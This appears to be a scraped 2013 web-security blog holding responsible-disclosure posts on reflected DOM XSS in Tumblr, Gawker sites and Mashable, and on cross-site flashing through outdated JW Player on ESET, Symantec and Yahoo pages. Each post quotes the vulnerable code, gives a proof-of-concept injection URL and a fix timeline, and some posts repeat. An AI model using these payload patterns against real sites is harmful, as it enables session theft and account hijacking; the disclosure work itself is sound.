Here what's worth reading during this week:
- Statistics Show Why WordPress is a Popular Hacker Target http://www.wpwhitesecurity.com/wordpress-news/statistics-70-percent-wordpress-installations-vulnerable/
- Analysis of the FBI Tor Malware http://oweng.myweb.port.ac.uk/fbi-tor-malware-analysis/
- Who rooted kernel.org servers two years ago, how did it happen, and why? http://arstechnica.com/security/2013/09/who-rooted-kernel-org-servers-two-years-ago-how-did-it-happen-and-why/
- 25 Million Flows Later - Large-scale Detection of DOM-based XSS http://ben-stock.de/wp-content/uploads/domxss.pdf
- Summary of our CCS paper on DOM-based XSS http://ben-stock.de/2013/09/summary-of-our-ccs-paper-on-dom-based-xss/
Feel free to suggest some new articles. Just tweet @dsopas.
Tuesday, October 1, 2013
Tuesday, September 24, 2013
Tumblr got DOM XSSed
When using this awesome blog platform - which hosts more than 138,4 million blogs - I come across a vulnerability that could be used my malicious users to a variety of illegal activities (steal user credentials, spread malware, spamming, etc).
This vulnerability could put millions of web surfers at risk of malicious user attacks.
The affected file was located at http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
A couple of variables (name and title) weren't properly sanitized within the source location.hash. So basically anyone could explore it by injecting HTML and launching a reflected DOM XSS attack - https://www.owasp.org/index.php/DOM_Based_XSS.
Vulnerable code:
You didn't even need to be authenticated in Tumblr.
Tumblr patched it by using a sanitize function in the Javascript file:
I really hope that in the future Tumblr patches this kind of security issues faster.
Timeline:
11 Jul 2013: Reported to Tumblr
11 Jul 2013: Tumblr reported that they're looking into it
17 Jul 2013: I asked for an update
17 Jul 2013: Tumblr reported again that they're looking into it
06 Aug 2013: I asked for other update
13 Aug 2013: Tumblr reported that they reviewed the exploit and were taking appropriate actions on their end
20 Set 2013: I noticed that the security issue was fixed and never got any reply.
24 Set 2013: Full disclosure
This vulnerability could put millions of web surfers at risk of malicious user attacks.
The affected file was located at http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
A couple of variables (name and title) weren't properly sanitized within the source location.hash. So basically anyone could explore it by injecting HTML and launching a reflected DOM XSS attack - https://www.owasp.org/index.php/DOM_Based_XSS.
Vulnerable code:
(...)Proof-of-concept:
if (v) {
v.innerHTML = decodeURIComponent(e.get.name)
}
(...)
document.getElementById("name").innerHTML = r;
document.getElementById("title").innerHTML = decodeURIComponent(x).replace(/\+/g, " ");
(...)
http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus%3Cimg%20src=x%20onerror=prompt%281%29;%3E&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide
You didn't even need to be authenticated in Tumblr.
Tumblr patched it by using a sanitize function in the Javascript file:
(...)It took more than two months to fix this reflected DOM XSS. And this isn't the first time that Tumblr ignores this kind of vulnerability. On June 25, 2012 the researcher Riyaz Walikar found and published a persistent XSS (http://www.riyazwalikar.com/2012/07/stored-persistent-xss-on-tumblr.html) that was only patched by Tumblr when it got public. They ignore his emails disclosing the vulnerability.
document.getElementById("name").innerHTML=_t.sanitize(r,true);
document.getElementById("title").innerHTML=_t.sanitize(x,true).replace(/\+/g," ");
(...)
I really hope that in the future Tumblr patches this kind of security issues faster.
Timeline:
11 Jul 2013: Reported to Tumblr
11 Jul 2013: Tumblr reported that they're looking into it
17 Jul 2013: I asked for an update
17 Jul 2013: Tumblr reported again that they're looking into it
06 Aug 2013: I asked for other update
13 Aug 2013: Tumblr reported that they reviewed the exploit and were taking appropriate actions on their end
20 Set 2013: I noticed that the security issue was fixed and never got any reply.
24 Set 2013: Full disclosure
Saturday, September 14, 2013
Your weekend reading about web security
During this week I tweeted this articles but I found interesting compiling it.
- Slow DoS on the Rise https://blogs.akamai.com/2013/09/slow-dos-on-the-rise.html
- Reducing Security https://blog.whitehatsec.com/reducing-security/
- Non-alphanumeric Backdoors http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
- Case Study: phpbb.com Compromised http://blog.sucuri.net/2013/09/security-case-study-archive-phpbb-com.html
- Pixel Perfect Timing Attacks with HTML5 http://contextis.co.uk/files/Browser_Timing_Attacks.pdf
- Mac OS X Security Configuration Guides https://ssl.apple.com/support/security/guides/
Feel free to suggest some new articles. Just tweet @dsopas.
- Slow DoS on the Rise https://blogs.akamai.com/2013/09/slow-dos-on-the-rise.html
- Reducing Security https://blog.whitehatsec.com/reducing-security/
- Non-alphanumeric Backdoors http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
- Case Study: phpbb.com Compromised http://blog.sucuri.net/2013/09/security-case-study-archive-phpbb-com.html
- Pixel Perfect Timing Attacks with HTML5 http://contextis.co.uk/files/Browser_Timing_Attacks.pdf
- Mac OS X Security Configuration Guides https://ssl.apple.com/support/security/guides/
Feel free to suggest some new articles. Just tweet @dsopas.
Labels:
backdoors,
html5,
macosx,
phpbb,
slow dos,
timing attacks,
weekend reading
Friday, September 6, 2013
Gizmodo, Lifehacker, Gawker - reflected DOM XSS
I'm a big follower of many of Gawker Media websites - like Lifehacker and Gizmodo - and with that in mind I try to help them on their security level.
Just cruising along in Gizmodo website I found a problem that caught my attention.
A request to a file called ad_iframe.html on assets directory. Checking the source code of that file I found:
Just giving the expected hashtag and pipe chars, a user could exploit this vulnerability with a DOM XSS to achieve information.
How can this be exploited?
Proof-of-concept on Gizmodo:
A malicious user could also:
This DOM XSS vulnerability was present in many Gawker Media websites:
Timeline:
02 Set 2013: Reported to Gawker Media
03 Set 2013: Gawker Media replied that a fix has been deployed
06 Set 2013: Full disclosure
Just cruising along in Gizmodo website I found a problem that caught my attention.
A request to a file called ad_iframe.html on assets directory. Checking the source code of that file I found:
<script>The variable scriptsrc isn't properly escaped from the source location.hash.
var location_parts = window.location.hash.substring(1).split('|');
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
</script>
Just giving the expected hashtag and pipe chars, a user could exploit this vulnerability with a DOM XSS to achieve information.
How can this be exploited?
Proof-of-concept on Gizmodo:
http://gizmodo.com/assets/ad_iframe.html#|'></script><script>alert("xss by @dsopas");</script><div x='Proof-of-concept on Gizmodo (encoded):
http://gizmodo.com/assets/ad_iframe.html#|'>%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%20%62%79%20%40%64%73%6F%70%61%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%64%69%76%20%78%3D%27
A malicious user could also:
- access other sites inside another client's private intranet.
- steal another client's cookie(s).
- modify another client's cookie(s).
- steal another client's submitted form data.
- modify another client's submitted form data (before it reaches the server).
- submit a form to your application on the user's behalf which modifies passwords or other application data
This DOM XSS vulnerability was present in many Gawker Media websites:
http://gawker.com/assets/ad_iframe.htmlI want to thank Gawker Media tech team for fixing this issue in less than 24 hours. They really care about security and their users.
http://gizmodo.com/assets/ad_iframe.html
http://lifehacker.com/assets/ad_iframe.html
http://deadspin.com/assets/ad_iframe.html
http://io9.com/assets/ad_iframe.html
http://jalopnik.com/assets/ad_iframe.html
http://jezebel.com/assets/ad_iframe.html
http://kotaku.com/assets/ad_iframe.html
Timeline:
02 Set 2013: Reported to Gawker Media
03 Set 2013: Gawker Media replied that a fix has been deployed
06 Set 2013: Full disclosure
Labels:
ad_iframe.html,
deadspin,
dom xss,
gawker,
gizmodo,
io9,
jalopnik,
jezebel,
kotaku,
lifehacker
Tuesday, September 3, 2013
Mashable DOM XSS
Recently I found a security issue on Mashable website.
Vulnerable code was:
Proof-of-concept:
This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked.
Timeline:
22 Ago 2013: Reported to Mashable
26 Ago 2013: Mashable replied that they will fix it
29 Ago 2013: Fix is released
03 Set 2013: Full disclosure
Vulnerable code was:
(...)The source location.hash wasn't properly sanitized for injections and that way could be used to inject a XSS vector into the browser DOM by using the sink document.write.
var customOpts = optsFromUrl(window.location.hash);
(...)
src = appendKeyVal(src, 'ord', opts.options);
(...)
buffer += '<script class="ad_call" src="' + src + '"><\/script>';
(...)
document.write(buffer);
(...)
Proof-of-concept:
http://mashable.com/#type=left_column&ord=499753815940197_"><img src=x onerror=prompt(1);>&tile=1&sec0=home&sec1=index&escnotcategory=iframe&bg=#39ebd1&adnum=1
This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked.
Timeline:
22 Ago 2013: Reported to Mashable
26 Ago 2013: Mashable replied that they will fix it
29 Ago 2013: Fix is released
03 Set 2013: Full disclosure
Friday, August 16, 2013
ESET and Symantec victims of vulnerable JW Player
It seems that there are still many JW Players outdated in the wild.
I reported two security issues, same vulnerability that I published about Yahoo, on ESET and Symantec sites.
The problem is located under a vulnerable flash player (JW Player) that can be used to explore a Cross site flashing - OWASP-DV-004.
This may be used to trick innocent users to spread malware and even hijack accounts using the name of ESET and Symantec.
#1 Proof-of-concept on ESET:
#2 Proof-of-concept on Symantec:
Both issues were fixed (JW Player removed) by the vendors.
Timeline #1:
18 Jun 2013: Reported to ESET
03 Jul 2013: Fixed by ESET
16 Aug 2013: Full disclosure
Timeline #2:
19 Jun 2013: Reported to Symantec
20 Jun 2013: I noticed that the script was removed. Never got a reply back.
16 Aug 2013: Full disclosure
I reported two security issues, same vulnerability that I published about Yahoo, on ESET and Symantec sites.
The problem is located under a vulnerable flash player (JW Player) that can be used to explore a Cross site flashing - OWASP-DV-004.
This may be used to trick innocent users to spread malware and even hijack accounts using the name of ESET and Symantec.
#1 Proof-of-concept on ESET:
http://www.eset.ro/suport-antivirus/video-player/player.swf?playerready=alert("xss by @dsopas")
#2 Proof-of-concept on Symantec:
https://hp.symantec.com/sites/all/modules/contrib/jwplayermodule/player.swf?playerready=alert("xss by @dsopas");
Both issues were fixed (JW Player removed) by the vendors.
Timeline #1:
18 Jun 2013: Reported to ESET
03 Jul 2013: Fixed by ESET
16 Aug 2013: Full disclosure
Timeline #2:
19 Jun 2013: Reported to Symantec
20 Jun 2013: I noticed that the script was removed. Never got a reply back.
16 Aug 2013: Full disclosure
Tuesday, August 13, 2013
Vulnerable JW Player on two Yahoo sites
Changeled by some web security analysts that told by that Yahoo is very hard to still find web vulnerabilities on their sites I found two flaws.
Both security issues are located under a vulnerable flash player - JW Player (discovered by Neal Poole on April) that can be used to inject a XSS vector.
This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked using the name of Yahoo.
Proof-of-concept:
Upgrading JW Player would fix this vulnerability but Yahoo decided to delete because they were old files forgotten on the web sever. Always a priority to delete files that you don't need. They could become a security risk in the future.
Yahoo security team sent me as a gift the DoD T-Shirt and a few other Yahoo merchandise.
I would like to mention that Yahoo fixed both vulnerabilities pretty fast proving that they really care about security.
Timeline #1:
07 Jun 2013: Reported to Yahoo
10 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure
Timeline #2:
13 Jun 2013: Reported to Yahoo
13 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure
Update: The JW Player security issue is also present on SecurityFocus since 29 July 2012. Thanks to Avram Marius for this information.
Both security issues are located under a vulnerable flash player - JW Player (discovered by Neal Poole on April) that can be used to inject a XSS vector.
This type of attack could be used to trick innocent users, infecting them with malware and even get their accounts hijacked using the name of Yahoo.
Proof-of-concept:
#1 http://especiales.yahoo.net/turismo-de-tunez/wp-content/themes/studiozen/js/jwplayer/player.swf?playerready=alert("xss by @dsopas")
#2 http://www.yahoosportsradio.com/source/mediaplayer/player.swf?playerready=alert("xss by @dsopas")
Upgrading JW Player would fix this vulnerability but Yahoo decided to delete because they were old files forgotten on the web sever. Always a priority to delete files that you don't need. They could become a security risk in the future.
Yahoo security team sent me as a gift the DoD T-Shirt and a few other Yahoo merchandise.
I would like to mention that Yahoo fixed both vulnerabilities pretty fast proving that they really care about security.
Timeline #1:
07 Jun 2013: Reported to Yahoo
10 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure
Timeline #2:
13 Jun 2013: Reported to Yahoo
13 Jun 2013: Fixed by Yahoo
13 Aug 2013: Full disclosure
Update: The JW Player security issue is also present on SecurityFocus since 29 July 2012. Thanks to Avram Marius for this information.
Subscribe to:
Posts (Atom)








